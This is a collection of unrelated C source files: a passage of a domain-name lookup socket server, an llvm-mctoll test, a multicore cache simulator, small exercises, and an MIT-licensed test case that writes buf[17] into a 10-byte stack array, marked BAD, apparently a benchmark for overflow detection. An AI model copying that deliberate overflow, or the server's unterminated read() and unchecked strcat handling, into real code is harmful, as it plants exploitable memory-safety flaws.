// Recieve a message from the other side.
message_recvd = read( new_socket , buffer_in, 1024);
printf("Request :\tType-%c,\tMessage-%s\n",buffer_in[0], buffer_in+1 );
// Depending on the type of message recieved, do the needful
switch(buffer_in[0]) {
// Recieved message contains Domain name, requesting IP address
case '1':
// Scan the database & send the responding message if found in the database
found_flag = 0;
database_fp = fopen("database.csv","r");
while(fscanf(database_fp, "%[^,],%[^\n]\n", domain_name, ip_address) != -1){
if(strcmp(domain_name, buffer_in+1) == 0){
found_flag = 1;
buffer_out[0] = '3';
strcat(buffer_out, ip_address);
send(new_socket, buffer_out, strlen(buffer_out), 0);
break;
}
}
fclose(database_fp);
// If not found in the database, then send a not found message
if (found_flag == 0) {
strcpy(buffer_out, "4Entry not found in the database");
send(new_socket, buffer_out, strlen(buffer_out), 0);
}
break;
// Recvd message contains IP address, requesting Domain name
case '2':
// Scan the database & send the responding message if found in the database
found_flag = 0;
database_fp = fopen("database.csv","r");
while(fscanf(database_fp, "%[^,],%[^\n]\n", domain_name, ip_address) != -1){
if(strcmp(ip_address, buffer_in+1) == 0){
found_flag = 1;
buffer_out[0] = '3';
strcat(buffer_out, domain_name);
send(new_socket, buffer_out, strlen(buffer_out), 0);
break;
}
}
fclose(database_fp);
// If not found in the database, then send a not found message
if (found_flag == 0){
strcpy(buffer_out, "4Entry not found in the database");
send(new_socket, buffer_out, strlen(buffer_out), 0);
}
break;
default:
// If the message is incorrect format, then send error type message.
strcpy(buffer_out, "4Wrong Packet Format");
send(new_socket, buffer_out, strlen(buffer_out) , 0 );
fprintf(stderr, "%s\n", "Wrong Packet Format Recvd");
break;
}
printf("Response :\tType-%c,\tMessage-%s\n", buffer_out[0], buffer_out+1);
printf("%s\n", "______________________________________________________________________________");
close(new_socket);
}
return 0;
}
|
the_stack_data/76701568.c | // REQUIRES: system-linux
// RUN: clang -o %t.so %S/Inputs/test-2.c -shared -fPIC
// RUN: llvm-mctoll -d %t.so
// RUN: clang -o %t1 %s %t-dis.ll
// RUN: %t1 2>&1 | FileCheck %s
// CHECK: test_2_func result 7
#include <stdio.h>
extern long test_2_func(int a, long b);
int main() {
printf("test_2_func result %ld\n", test_2_func(2, 3));
return 0;
}
|
the_stack_data/18887493.c | //written by: Jeremy Keys
//Last modified: 4-13-17
#include <assert.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <math.h>
/****************** useful constants/magic numbers ******************/
const int ADDRESS_LENGTH = 32;
const int NUM_BITS_PER_BYTE = 8;
const int NUM_BYTES_PER_WORD = 4;
const int NUM_BITS_PER_LRU = 2;
const int NUM_BITS_PER_VALID = 1;
const int NUM_BITS_PER_DIRTY = 1;
const int NUM_CYCLES_PER_HIT = 1;
unsigned int NUM_CORES = 2;
const char WRITE_BACK = 'B';
const char WRITE_THRU = 'T';
const char WRITE_OP = 'W';
const char READ_OP = 'R';
const char MODIFIED = 'M';
const char INVALID = 'I';
const char SHARED = 'S';
int debug = 0;
/****************** Useful OO structures ******************/
typedef struct Entry Entry;
//class to help with logging
typedef struct MemOp {
unsigned int addr;
unsigned int tag;
unsigned int index;
unsigned int fullOffset;
unsigned int entryOffset;
unsigned int byteOffset;
} MemOp;
typedef struct Entry {
//uint32_t* dataBlock;
unsigned int tag;
unsigned int valid;
unsigned int dirty;
//A6 additions
unsigned int LRUCounter;
//A7 additions
char state; //MODIFIED, SHARED or INVALID
int entryID;
} Entry;
typedef struct Set {
Entry* entries;
unsigned int numEntriesInUse;
unsigned int numEntries;
//A7 additions
int setID;
} Set;
typedef struct Cache {
unsigned int blockSize; //blockSize in number of bytes
unsigned int numDataWords, numBytes;
unsigned int numEntries, numInstructions;
unsigned int numReads, numWrites, numReadHits, numWriteHits, numWriteMisses, numReadMisses;
unsigned int numHits, numMisses;
unsigned int numCycles, numCyclesPerMiss;
unsigned int indexLength, offsetLength, tagLength;
double avgMemAccessTime, hitRatio;
//A6 additions
Set* sets;
char writePolicy;
unsigned int numSets;
unsigned int setAssociativity;
unsigned int numEntriesPerSet;
unsigned int numOverheadBits, numOverheadBytes;
unsigned int numWritesToCache, numWritesToMem;
unsigned int numBytesPerSet, numBytesPerBlock, numWordsPerBlock;
unsigned int entryOffsetLength, byteOffsetLength;
//A7 additions
unsigned int numBlocksInvalidated, numWriteBacksDueToAccessNeed,numWriteBacksDueToReadMiss, NumWritesToCacheDueToWriteOp, NumWritesBacksDueToWriteThruPolicy;
unsigned int numWritesToCacheDueToReadMiss;
unsigned int cacheID;
} Cache;
typedef struct MulticoreCache {
Cache *caches;
int numCores; //== numCaches
} MulticoreCache;
/****************** print functions ******************/
void printCacheInit(Cache *c) {
printf("\nCaches constructed!\nTotal size of each cache (data only) in bytes: %u\nset associativity: %d\n", c->numDataWords*NUM_BYTES_PER_WORD, c->setAssociativity);
printf("bytes per block: %d\nwords per block: %d\nnum entries: %d\nnum sets: %d\nentries per set: %d\ntag length: %d\nindex length: %d\noffset length: %d\n\n", c->blockSize*NUM_BYTES_PER_WORD, c->blockSize, c->numEntries, c->numSets, c->numEntriesPerSet, c->tagLength, c->indexLength, c->offsetLength);
}
void printEntry(Entry *e, unsigned int byteAddress, unsigned int blockAddress, unsigned int index, unsigned int offsetFull, unsigned int offsetEntry, unsigned int offsetByte, unsigned int newTag) {
printf("byte address: 0x%x\nindex: 0x%x, %u\nfull offset: 0x%x\noldTag: 0x%x\nnewTag: 0x%x\n", byteAddress, index, index, offsetFull, e && e->valid ? e->tag : 0, newTag);
printf("valid bit %u dirty bit %u\n\n", e->valid, e->dirty);
}
void printSet(Set *s, int n) {
//printf("\nSet %d\n", n);
for(int i = 0; i != s->numEntries; i++) {
Entry *e = s->entries+i;
printf("valid: %u\tdirty: %u\ttag: %u\n\n", e->valid, e->dirty, e->tag);
}
printf("\n");
}
void printCacheStatsHelper(Cache *c) {
printf("Cache ID: %d\n", c->cacheID);
printf("Total size of cache (data only) in bytes: %u\n", c->numDataWords*NUM_BYTES_PER_WORD);
printf("Total size of cache (data only) in words: %u\n", c->numDataWords);
printf("Total size of each block (data only) in bytes: %u\n", c->numDataWords*NUM_BYTES_PER_WORD/c->numEntries);
printf("Total size of each block (data only) in words: %u\n", c->numDataWords/c->numEntries);
printf("Total number of cache overhead bytes: %u\n", c->numOverheadBytes);
printf("Total number of memory operations: %u\n", c->numInstructions);
printf("Total number of write ops: %u\n", c->numWrites);
printf("Total number of write hits: %u\n", c->numWriteHits);
printf("Total number of write misses: %u\n", c->numWriteMisses);
printf("Total number of read ops: %u\n", c->numReads);
printf("Total number of read hits: %u\n", c->numReadHits);
printf("Total number of read misses: %u\n", c->numReadMisses);
printf("Total number of writes to mem: %u\n", c->numWritesToMem);
printf("Total number of writes to mem due to another cache needing access to shared block: %u\n",c->numWriteBacksDueToAccessNeed);
printf("Total number of writes to mem due to another cache invalidating and then modifying shared block: %u\n",c->numBlocksInvalidated);
if(c->writePolicy == WRITE_BACK) printf("Total number of writes to mem due to a read miss on a dirty block: %u\n",c->numWriteBacksDueToReadMiss);
if(c->writePolicy == WRITE_THRU) printf("Total number of writes to mem due to cache write w/ write-through policy: %u\n",c->NumWritesBacksDueToWriteThruPolicy);
printf("Total number of writes to cache: %u\n", c->numWritesToCache);
printf("Total number of writes to cache due to read misses(read from mem, write to cache): %u\n",c->numWritesToCacheDueToReadMiss);
printf("Total number of writes to cache due to write operations: %u\n",c->NumWritesToCacheDueToWriteOp);
printf("Hit ratio: %f\n", c->hitRatio);
printf("Average memory access time: %f cycles\n", c->avgMemAccessTime); //TODO: need cast to float?
}
void printCacheStats(MulticoreCache *mcc) {
printf("Number of cores: %d\n", NUM_CORES);
for(int i = 0; i != NUM_CORES; i++) {
printCacheStatsHelper(mcc->caches+i);
printf("\n");
}
printf("\n");
}
/****************** initialization, cleanup (free), and utility funcs ******************/
//http://stackoverflow.com/questions/600293/how-to-check-if-a-number-is-a-power-of-2
int IsPowerOfTwo(int x)
{
return (x != 0) && ((x & (x - 1)) == 0); //return 0 if not power
}
int processProgArgs(char** argv, int argc, int *blockSize, int *totalNumDataWords, int *numCyclesPerMiss, int *setAssociativity, char *writePolicy) {
if(argc % 2 != 0) {
printf("Must provide an odd amount of arguments\n"); //will actually be even, b/c argv[0] is name of program
return 1;
}
for(int i = 1; i < (argc-1); i += 2) { //start at 1, b/c argv[0] is name of prog
char* flag = argv[i];
char *flagValue_s = argv[i+1];
int flagValue = atoi(flagValue_s);
if(strcmp(flag, "-b") == 0) {
*blockSize = flagValue;
if(!IsPowerOfTwo(flagValue)) {
printf("Number of words per block must be a power of 2\n");
return 3;
} //end if -b flag error cond
} else if(strcmp(flag, "-m") == 0) {
*numCyclesPerMiss = flagValue;
if (flagValue <= 0) {
printf("Valid number of cycles per miss must be positive\n");
return 4;
} //end if -m flag error cond
} else if(strcmp(flag, "-n") == 0) {
*totalNumDataWords = flagValue;
if(!IsPowerOfTwo(flagValue)) {
printf("Number of data words must be a power of 2\n");
return 5;
} //end if -n flag error cond
} else if(strcmp(flag, "-w") == 0) {
*writePolicy = flagValue_s[0];
if(*writePolicy != 'T' && *writePolicy != 'B') {
printf("Valid flags are 'T' (write-through) or 'B' (write-back)\n");
return 6;
} //end if -n flag error cond
}else if(strcmp(flag, "-a") == 0) {
*setAssociativity = flagValue;
if(!IsPowerOfTwo(flagValue)) {
printf("Number of sets (set-associativity) must be a power of 2\n");
return 6;
} //end if -n flag error cond
}else if(strcmp(flag, "-debug") == 0) {
if(flagValue != 0) debug = 1;
} else if(strcmp(flag, "-c") == 0) {
if(!IsPowerOfTwo(flagValue)) {
printf("Number of cores/caches must be a power of 2\n");
return 9;
}
NUM_CORES = flagValue;
} else {
printf("Invalid flag given\n");
return 7;
} //end ifs
} //end arg processing for
return 0;
}
void initCache(Cache *c, unsigned int coreID, unsigned int blockSize, unsigned int numDataWords, unsigned int numCyclesPerMiss, unsigned int setAssociativity, char writePolicy) {
c->cacheID = coreID;
c->writePolicy = writePolicy;
c->blockSize = blockSize; //blocksize in numWords //TODO
c->numDataWords = numDataWords;
c->numCyclesPerMiss = numCyclesPerMiss;
c->numEntries = c->numDataWords / blockSize; //TODO
c->numBytes = numDataWords*NUM_BYTES_PER_WORD; //TODO
c->setAssociativity = setAssociativity;
c->numSets = c->numEntries / c->setAssociativity; //TODO
c->numEntriesPerSet = c->numEntries / c->numSets; //TODO
c->numBytesPerBlock = (unsigned int) blockSize*NUM_BYTES_PER_WORD; //TODO
c->indexLength = (unsigned int) log2(c->numSets); //TODO
c->offsetLength = (unsigned int) log2(blockSize*NUM_BYTES_PER_WORD); //TODO
c->tagLength = ADDRESS_LENGTH - c->indexLength - c->offsetLength; //TODO
c->numHits = c->numMisses = c->numReads = c->numWritesToMem = 0;
c->numWritesToCache = c->numReadMisses = c->numWriteMisses = c->numReadHits = 0;
c->numWriteHits = c->numCycles = c->numInstructions = c->numBlocksInvalidated = 0;
c->numWriteBacksDueToAccessNeed = c->numWriteBacksDueToReadMiss = 0;
c->NumWritesToCacheDueToWriteOp = c->NumWritesBacksDueToWriteThruPolicy = 0;
c->entryOffsetLength = (unsigned int) log2(c->numEntriesPerSet); //TODO
c->byteOffsetLength = c->offsetLength - c->entryOffsetLength; //TODO
/*** calculate overhead ***/
//LRU bits + valid bits + address bits (just the tag)
c->numOverheadBits = (NUM_BITS_PER_LRU * c->numEntries) + (NUM_BITS_PER_VALID * c->numEntries) + ((ADDRESS_LENGTH- c->offsetLength - c->indexLength) * c->numEntries);
//+ (if write back, dirty bits)
if(writePolicy == WRITE_BACK) c->numOverheadBits += NUM_BITS_PER_DIRTY * c->numEntries;
c->numOverheadBytes = c->numOverheadBits / 32; //32 bits per byte
/*** allocate space for the cache entries ***/
c->sets = malloc(sizeof(Set) * c->numSets);
Set *s;
Entry *e;
int entryID = 0;
for(int i = 0; i != c->numSets; i++) {
s = c->sets+i;
s->entries = malloc(sizeof(Entry) * c->numEntriesPerSet);
// s->dataBlock = malloc(sizeof(uint32_t) * c->blockSize);
s->numEntries = c->numEntriesPerSet;
s->numEntriesInUse = 0;
s->setID = i;
for(int j = 0; j != c->numEntriesPerSet; j++) {
e = s->entries+j;
// e->dataBlock = malloc(sizeof(uint8_t) * blockSize); //uint8_t is guaranteed 8 bits (1 byte)
e->state = INVALID;
e->tag = 0;
e->valid = 0;
e->dirty = 0;
e->entryID = j;
}
}
}
void initMulticoreCache(MulticoreCache *mcc, int blockSize, int numDataWords, int numCyclesPerMiss, int setAssociativity, char writePolicy) {
mcc->caches = malloc(sizeof(Cache) * NUM_CORES);
for(int i = 0; i != NUM_CORES; i++) {
initCache(mcc->caches+i, i /*i is coreID*/, blockSize, numDataWords, numCyclesPerMiss, setAssociativity, writePolicy);
}
printCacheInit(mcc->caches);
}
void freeCache(Cache *c) {
for(int i = 0; i != c->numSets; i++) {
free(c->sets[i].entries); //free the blocks for each set
// free(c->sets[i].dataBlock);
}
free(c->sets); //then free all set objects
}
void freeMCC(MulticoreCache *mcc) {
for(int i = 0; i != NUM_CORES; i++) {
freeCache(mcc->caches+i);
}
free(mcc->caches);
}
Entry* getLeastRecentlyUsedEntry(Set *s, int *entryID) {
assert(s->numEntries == s->numEntriesInUse);
Entry* lru = s->entries, *e;
for(int i = 0; i != s->numEntriesInUse; i++) {
e = s->entries+i;
if(lru->LRUCounter < e->LRUCounter) {
*entryID = i;
lru = e;
}
}
return lru;
}
void updateLRUs(Set *s, Entry *evict) { //update all LRUs except evicted block, which becomes 0
for(int i = 0; i != s->numEntries; i++) {
Entry *e = s->entries+i;
if(e == evict) continue;
e->LRUCounter++; //then increment this entry's LRU counter
}
evict->LRUCounter = 0;
}
Entry* getEntry(Set *s, int entryID) {
return (s->entries+entryID);
}
Set* getSet(Cache *c, int setID) {
return (c->sets+setID);
}
int matchingEntryExists(Set *s, int newTag) {
Entry *e;
for(int i = 0; i != s->numEntries; i++) {
e = s->entries+i;
if(e->tag == newTag) {
return 1;
}
}
return 0;
}
Entry *matchingEntry(Set *s, int newTag, int *entryID) {
Entry *e;
for(int i = 0; i != s->numEntries; i++) {
e = s->entries+i;
if(e->tag == newTag) {
*entryID = i;
return e;
}
}
assert(1 != 1); //should never reach this
return NULL; //in case I change logic
}
Entry *getUnusedEntry(Set *s, int *entryID) {
Entry *e;
for(int i = 0; i != s->numEntries; i++) {
e = s->entries+i;
if(!(e->valid)) {
*entryID = i;
return e;
}
}
assert(1 != 1); //should never reach this
return NULL; //in case I change logic
}
/****************** functions for handling different cases of reads and writes ******************/
void handleReadHit(Cache *c, Entry* e) {
if(debug) printf(" -READ HIT!\n");
c->numHits++;
c->numReadHits++;
}
void handleReadMiss(Cache *c, Entry *e) {
if(debug) printf(" -READ MISS!\n");
//TODO: read data block from memory, store in this entry
c->numCycles += c->numCyclesPerMiss;
c->numMisses++;
c->numWritesToCache++;
c->numWritesToCacheDueToReadMiss++;
c->numReadMisses++;
}
void handleWriteHit(Cache *c, Entry* e) {
if(debug) printf(" -WRITE HIT!\n");
c->numHits++;
c->numWriteHits++;
e->dirty = 1;
}
void handleWriteMiss(Cache *c, Entry *e) {
if(debug) printf(" -WRITE MISS!\n");
c->numCycles += c->numCyclesPerMiss;
c->numMisses++;
c->numWriteMisses++;
}
int handleRead(MulticoreCache *mcc, Cache *c, Set *s, int newTag) {
Cache *otherCache;
Set *otherSet; //used for checking corresponding set in other caches
Entry *otherEntry; //used for checking corresponding entry in otherSet
int entryID, setID = s->setID, modifiedBlockFound = 0;
c->numReads++;
Entry *e;
/*** check whether we read hit or read miss, and handle accordingly ***/
//check for matching entry
if(matchingEntryExists(s, newTag)) {
e = matchingEntry(s, newTag, &entryID);
//(debug) printf(" -block with matching tag and valid data found in set!\n", entryID);
handleReadHit(c, e);
} else if(s->numEntriesInUse == s->numEntries) { //if no matching entry, check if set is full
e = getLeastRecentlyUsedEntry(s, &entryID);
handleReadMiss(c, e);
if(debug) printf(" -set is full, selecting least recently used block to evict (index %d of entries array) after handling coherency...\n", entryID);
} else { //no matching and set is not full, get first unused entry
e = getUnusedEntry(s, &entryID);
s->numEntriesInUse++;
handleReadMiss(c, e);
if(debug) printf(" -empty entry in set, will insert at block %d of entries array after handling coherency...\n", entryID);
}
/*** check the current state of the block we are reading, and handle accordingly ***/
switch(e->state) {
case 'I':
if(debug) printf(" -Reading an INVALID block, first check all corresponding blocks for MODIFIED state before reading from memory:\n");
//if invalid on read, we "must verify that the line is not in the "M" state in any other cache" (wikipedia)
for(int i = 0; i != NUM_CORES; i++) {
otherCache = mcc->caches+i;
if(otherCache == c) continue; //skip the current cache
otherSet = getSet(otherCache, setID); //get corresponding set
otherEntry = getEntry(otherSet, entryID); //get corresponding entry
//if there is a matching modified entry, write that entry to memory
//also copy it to the current entry, and then invalide the other entry
if(otherEntry->state == MODIFIED) {
if(debug) printf(" -CORRESPONDING MODIFIED BLOCK FOUND IN CACHE ID %d! Copying block from that cache to current cache #%d, then invalidating and evicting block in that cache...\n", otherCache->cacheID, c->cacheID);
otherCache->numWritesToMem++;
otherCache->numBlocksInvalidated++;
otherEntry->state = INVALID;
otherSet->numEntriesInUse--;
otherEntry->valid = otherEntry->dirty = otherEntry->tag = otherEntry->LRUCounter = 0;
modifiedBlockFound = 1;
}
}
if(!modifiedBlockFound) {
if(debug) printf(" -No corresponding modified block, so reading from memory store (instead of other cache) to this cache...\n", otherCache->cacheID, c->cacheID);
}
break;
case 'M':
if(debug) printf(" -Reading from a MODIFIED block, supplying data without reading from memory store...\n");
//"When a read request arrives at a cache for a block in the "M" or "S" states, the cache supplies the data."
//nothing else to do, we've already served the data
break;
case 'S':
if(debug) printf(" -Reading from a SHARED block, supplying data without reading from memory store...\n");
//When a read request arrives at a cache for a block in the "M" or "S" states, the cache supplies the data.
//nothing else to do, we've already served the data
}
/*** finally, we reset the current entries LRU counter, set it to valid, and update its tag ***/
updateLRUs(s,e); //increment LRU counter for all entries in set except e, which becomes 0
e->tag = newTag;
e->state = SHARED;
e->valid = 1;
}
int handleWrite(MulticoreCache *mcc, Cache *c, Set *s, int newTag) {
Cache *otherCache;
Entry *e = NULL, *otherEntry; //used for checking corresponding entry in otherSet;
Set *otherSet; //used for checking corresponding set in other caches
int entryID, setID = s->setID, modifiedBlockFound = 0;
c->numWrites++;
c->numWritesToCache++;
c->NumWritesToCacheDueToWriteOp++;
/*** check whether we write hit or write miss, and handle accordingly ***/
//check for matching entry
if(matchingEntryExists(s, newTag)) {
e = matchingEntry(s, newTag, &entryID);
//if(debug) printf(" -block with matching tag and valid bit found in set!\n", entryID);
handleWriteHit(c, e);
} else if(s->numEntriesInUse == s->numEntries) { //if no matching entry, check if set is full
e = getLeastRecentlyUsedEntry(s, &entryID);
handleWriteMiss(c, e);
if(debug) printf(" -set is full, selecting least recently used block to evict (index %d of entries array) after handling coherency...\n", entryID);
} else { //no matching and set is not full, get first unused entry
e = getUnusedEntry(s, &entryID);
handleWriteMiss(c, e);
if(debug) printf(" -empty entry in set, will insert at block %d of entries array after handling coherency...\n", entryID);
s->numEntriesInUse++;
}
switch(e->state) {
case 'I':
if(debug) printf(" -Writing to an INVALID block, first notify other caches to evict any corresponding blocks which are modified or shared\n");
//"If the block is in the "I" state, the cache must notify any other caches that might contain the block in the "S" or "M" states that they must evict the block. If the block is in another cache in the "M" state, that cache must either write the data to the backing store or supply it to the requesting cache. If at this point the cache does not yet have the block locally, the block is read from the backing store before being modified in the cache. After the data is modified, the cache block is in the "M" state."
//for every corresponding entry, if it is modified, evict it
for(int i = 0; i != NUM_CORES; i++) {
otherCache = mcc->caches+i;
if(otherCache == c) continue;
otherSet = getSet(otherCache, setID); //get corresponding set
otherEntry = getEntry(otherSet, entryID); //get corresponding entry
//" If the block is in another cache in the "M" state, that cache must either write the data to the backing store or supply it to the requesting cache."
//if there is a matching modified entry, write that entry to memory; also copy it to the current entry, and then invalide the other entry
if(otherEntry->state == MODIFIED) {
if(debug) printf(" -CORRESPONDING MODIFIED BLOCK FOUND IN CACHE ID %d! Copying that block to current cache #%d (current core mem op), then invalidating and evicting...\n", otherCache->cacheID, c->cacheID);
otherCache->numWritesToMem++;
otherCache->numBlocksInvalidated++;
otherEntry->state = INVALID;
otherSet->numEntriesInUse--;
otherEntry->valid = otherEntry->dirty = otherEntry->tag = otherEntry->LRUCounter = 0;
modifiedBlockFound = 1;
}
}
if(!modifiedBlockFound) {
if(debug) printf(" -No corresponding modified block, so reading from memory store (instead of other cache) to this cache...\n");
}
break;
case 'M':
if(debug) printf(" -Writing to a MODIFIED block, nothing else to do...\n");
//"When a write request arrives at a cache for a block in the "M" state, the cache modifies the data locally."
break;
case 'S':
//"If the block is in the "S" state, the cache must notify any other caches that might contain the block in the "S" state that they must evict the block. This notification may be via bus snooping or a directory, as described above. Then the data may be locally modified."
//for every corresponding entry, if it is shared, evict it
if(debug) printf(" -Writing to a SHARED block, notifying other caches to evict matching SHARED blocks...\n");
for(int i = 0; i != NUM_CORES; i++) {
otherCache = mcc->caches+i;
if(otherCache == c) continue;
otherSet = getSet(otherCache, setID); //get corresponding set
otherEntry = getEntry(otherSet, entryID); //get corresponding entry
//if there is a matching modified entry, write that entry to memory
//also copy it to the current entry, and then invalide the other entry
if(otherEntry->state == SHARED) {
if(debug) printf(" -CORRESPONDING SHARED BLOCK FOUND IN CACHE ID %d! Invalidating and evicting...\n",otherCache->cacheID);
//if(debug) printf(" -Matching block found in cache %d in SHARED state! Evicting entry from that cache...");
otherCache->numWritesToMem++;
// other->numWriteBacksDueToAccessNeed++;
otherCache->numBlocksInvalidated++;
otherEntry->state = INVALID;
modifiedBlockFound = 1;
otherEntry->valid = otherEntry->dirty = otherEntry->tag = otherEntry->LRUCounter = 0;
}
}
if(!modifiedBlockFound) {
if(debug) printf(" -No corresponding shared block, so reading from memory store (instead of other cache) to this cache...\n", otherCache->cacheID, c->cacheID);
}
c->numWriteBacksDueToAccessNeed++;
c->numWritesToMem++;
}
/*** write to memory depending on policy selected (do after handling state so we don't prematurely write to a modified block in another cache) ***/
if(c->writePolicy == WRITE_THRU) {
if(debug) printf(" -Write-thru policy selected, writing new value to memory...\n");
c->numWritesToMem++;
c->NumWritesBacksDueToWriteThruPolicy++;
} //check if need to evict valid & dirty block
else if(c->writePolicy == 'B' && e->valid && e->dirty) {
if(debug) printf(" -Write-back policy selected and dirty block selected, writing old block to memory and evicting from current cache #%d...\n", c->cacheID);
c->numWriteBacksDueToReadMiss++;
c->numWritesToMem++;
} else {
if(debug) printf(" -Write-back policy selected but non-dirty block selected, writing new value to cache but not to memory...\n");
}
/*** finally, we reset the current entries LRU counter, set it to valid and dirty, and update its tag ***/
updateLRUs(s,e); //increment LRU counter for all entries in set except e, which becomes 0
e->tag = newTag;
e->state = MODIFIED;
e->dirty = 1;
e->valid = 1;
}
/****************** handle single cache entry ******************/
//return true (1) if valid mode; false (0) otherwise
int handleCacheEntry(MulticoreCache *mcc, int coreID, unsigned int byteAddress, char mode) {
Cache *c = mcc->caches+coreID;
Set *s;
unsigned int blockAddress, index, offsetFull, offsetEntry, offsetByte, tag;
int setID, entryID;
c->numInstructions++;
/*** make sure we are reading a valid memory operation ***/
if(mode != READ_OP && mode != WRITE_OP)
return 0;
/*** parse address into tag, set index, and offset ***/
tag = (byteAddress >> (ADDRESS_LENGTH - c->tagLength)); //get the tagLength MSBs (drop the LSB)
blockAddress = byteAddress / c->blockSize; //pg 390
index = blockAddress % c->numSets; //set index; pg 404
//offsetFull = byteAddress % (unsigned int) pow(2, c->offsetLength); //byte offset
/*** fetch the correct set ***/
s = (c->sets+index); //sweet, sweet pointer arithmetic
if(mode == READ_OP) { //valid read
handleRead(mcc, c, s, tag);
} else {
handleWrite(mcc, c, s, tag);
} //end mode if
if(debug)printf("\n");
}
/****************** simulate cache fcn ******************/
void calculateFinalValues(MulticoreCache *mcc) {
Cache *c;
for(int i = 0; i != NUM_CORES; i++) {
c = mcc->caches+i;
c->hitRatio = (double) c->numHits / (double) c->numInstructions;
double hitTime = (double) NUM_CYCLES_PER_HIT;
double missPenalty = (double) c->numCyclesPerMiss;
double missRatio = 1.0 - c->hitRatio;
c->avgMemAccessTime = hitTime + missRatio * missPenalty;
}
}
void simulateCacheFromTraceFile(FILE *file, MulticoreCache* mcc) {
Cache *c;
unsigned int binAddress, coreID;
char mode;
printf("\nNow simulating cache from trace file...\n\n");
while (!feof(file)) {
//read the core/cache ID, data address, and mode (R/W)
fscanf(file, "%u %x %c\n", &coreID, &binAddress, &mode);
if(debug) printf("%u %x %c\n", coreID, binAddress, mode);
handleCacheEntry(mcc, coreID, binAddress, mode);
}
calculateFinalValues(mcc);
fclose(file);
}
/****************** main ******************/
int main(int argc, char** argv) {
MulticoreCache mcc;
// Cache cache;
FILE* file;
int code, blockSize = 1, totalNumDataWords = 1024, numCyclesPerMiss = 100, setAssociativity = 1;
char writePolicy = 'T';
//open file
if(!(file = fopen(argv[argc-1], "r"))) {
printf("Failed to open file\n");
return 2;
}
/*** process program arguments ***/
if(code = processProgArgs(argv, argc, &blockSize, &totalNumDataWords, &numCyclesPerMiss, &setAssociativity, &writePolicy))
return code;
/*** initiate and simulate cache ***/
initMulticoreCache(&mcc, (unsigned int) blockSize, (unsigned int) totalNumDataWords, (unsigned int) numCyclesPerMiss, (unsigned int) setAssociativity, writePolicy);
simulateCacheFromTraceFile(file, &mcc);
/*** print cache statistics and free dynamically allocated memory ***/
//if(debug) printCacheInit(mcc.caches);
printCacheStats(&mcc);
freeMCC(&mcc);
return 0;
}
|
the_stack_data/59054.c | /* Taxonomy Classification: 0000000000000164000200 */
/*
* WRITE/READ 0 write
* WHICH BOUND 0 upper
* DATA TYPE 0 char
* MEMORY LOCATION 0 stack
* SCOPE 0 same
* CONTAINER 0 no
* POINTER 0 no
* INDEX COMPLEXITY 0 constant
* ADDRESS COMPLEXITY 0 constant
* LENGTH COMPLEXITY 0 N/A
* ADDRESS ALIAS 0 none
* INDEX ALIAS 0 none
* LOCAL CONTROL FLOW 0 none
* SECONDARY CONTROL FLOW 1 if
* LOOP STRUCTURE 6 non-standard while
* LOOP COMPLEXITY 4 three
* ASYNCHRONY 0 no
* TAINT 0 no
* RUNTIME ENV. DEPENDENCE 0 no
* MAGNITUDE 2 8 bytes
* CONTINUOUS/DISCRETE 0 discrete
* SIGNEDNESS 0 no
*/
/*
Copyright 2005 Massachusetts Institute of Technology
All rights reserved.
Redistribution and use of software in source and binary forms, with or without
modification, are permitted provided that the following conditions are met.
- Redistributions of source code must retain the above copyright notice,
this set of conditions and the disclaimer below.
- Redistributions in binary form must reproduce the copyright notice, this
set of conditions, and the disclaimer below in the documentation and/or
other materials provided with the distribution.
- Neither the name of the Massachusetts Institute of Technology nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main(int argc, char *argv[])
{
int init_value;
int test_value;
int inc_value;
int loop_counter;
char buf[10];
init_value = 0;
test_value = 17;
inc_value = 17 - (17 - 1);
loop_counter = init_value;
while(loop_counter += inc_value)
{
/* BAD */
buf[17] = 'A';
if (loop_counter >= test_value) break;
}
return 0;
}
|
the_stack_data/125140204.c | // http://www.bjfuacm.com/problem/261/
#include <stdio.h>
void swap(int* a, int *b) {
int t = *a;
*a = *b;
*b = t;
}
void arrange(int* a, int n) {
int i = 0;
int j = n - 1;
while (i < j) {
while (i < j && a[i] < 0) i++;
while (i < j && a[j] > 0) j--;
if (i < j) {
swap(a + i, a + j);
i += 1;
j -= 1;
}
}
}
int main() {
int n;
int a[105];
while (1) {
scanf("%d", &n);
if (n == 0) break;
for (int i = 0; i < n; i++) scanf("%d", &a[i]);
arrange(a, n);
for (int i = 0; i < n; i++)
printf("%d%s", a[i], i == n - 1 ? "\n" : " ");
}
} |
the_stack_data/1153.c | int sub(int x, int y) {
return x-y;
} |
the_stack_data/29826406.c | /*1.2. Write a program to input a floating number and show without decimal point*/
#include<stdio.h>
int main(){
float a;
printf("Enter a float number : ");
scanf("%f",&a);
printf("Float number with zero decimal points is =%.0f",a);
}
/*
OUTPUT
Enter a float number : 456.2342
Float number with two decimal points is =456*/
|
the_stack_data/81318.c | /* *****************************************************************************
* "YOU MAY THINK THAT THIS FUNCTION IS OBSOLETE AND DOESNT SEEM TO DO ANYTHING
* AND YOU WOULD BE CORRECT BUT WHEN WE REMOVE THIS FUNCTION FOR SOME REASON
* THE WHOLE PROGRAM CRASHES AND WE CANT FIGURE OUT WHY SO HERE IT WILL STAY"
* - Fernando Pessoa
* Autores:
* > Dario Felix (N.2018275530)
*
* Agradecimentos:
* > Google
* > Stackoverflow
* > IDEs
* > Take Away do Pingo Doce
* > Cafe
*
* Ficha 1.1 | B - Ex B
